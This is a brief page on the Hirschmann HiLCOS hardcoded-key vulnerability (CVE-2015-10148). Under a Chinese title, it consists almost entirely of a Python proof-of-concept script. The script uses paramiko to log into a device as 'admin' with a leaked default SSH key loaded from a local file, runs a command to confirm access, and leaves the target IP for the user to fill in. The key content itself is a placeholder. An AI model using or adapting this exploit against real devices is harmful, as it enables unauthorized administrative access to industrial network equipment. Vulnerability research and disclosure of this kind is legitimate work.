CVE-2015-10148 Hirschmann HiLCOS硬编码密钥漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2015-10148 # This script attempts to authenticate to a target device using the leaked default SSH key. import paramiko import socket # The leaked default private key content (truncated for example) DEFAULT_KEY = """-----BEGIN RSA PRIVATE KEY----- [... Leaked Key Content ...] -----END RSA PRIVATE KEY-----""" def exploit(target_ip, port=22): try: # Create a new SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Load the default private key pkey = paramiko.RSAKey.from_private_key_file("./default_hilcos_key") print(f"[*] Attempting to connect to {target_ip}:{port} using default key...") # Attempt to connect client.connect(target_ip, port=port, username='admin', pkey=pkey, timeout=10) print("[+] Connection successful! Vulnerability confirmed.") # Execute a command to verify access stdin, stdout, stderr = client.exec_command('cat /etc/version') print(f"[+] System Version: {stdout.read().decode().strip()}") client.close() except paramiko.AuthenticationException: print("[-] Authentication failed. Key might be invalid or device patched.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.1" # Replace with target IP exploit(target)